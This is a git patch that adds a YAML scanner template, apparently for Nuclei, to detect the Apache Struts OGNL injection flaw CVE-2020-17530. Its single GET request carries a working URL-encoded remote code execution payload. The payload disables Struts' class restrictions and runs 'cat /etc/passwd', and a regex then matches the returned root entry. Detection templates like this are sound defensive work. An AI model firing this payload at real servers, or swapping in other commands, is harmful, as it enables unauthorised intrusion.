From ad23717e7c64a0d6c6bd01968dfe3eabf57ac19a Mon Sep 17 00:00:00 2001 From: PikPikcU <60111811+pikpikcu@users.noreply.github.com> Date: Wed, 27 Jan 2021 18:47:58 +0000 Subject: [PATCH] Create CVE-2020-17530.yaml --- cves/2020/CVE-2020-17530.yaml | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 cves/2020/CVE-2020-17530.yaml diff --git a/cves/2020/CVE-2020-17530.yaml b/cves/2020/CVE-2020-17530.yaml new file mode 100644 index 0000000000..a18ba80b54 --- /dev/null +++ b/cves/2020/CVE-2020-17530.yaml @@ -0,0 +1,26 @@ +id: CVE-2020-17530 + +info: + name: Apache Struts RCE + author: pikpikcu + severity: critical + + # Forced OGNL evaluation, when evaluated on raw user input in tag attributes, + # may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25. + # References: + # http://jvn.jp/en/jp/JVN43969166/index.html + # http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html + # https://cwiki.apache.org/confluence/display/WW/S2-061 + # https://security.netapp.com/advisory/ntap-20210115-0005/ + +requests: + - method: GET + path: + - "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0:" + part: body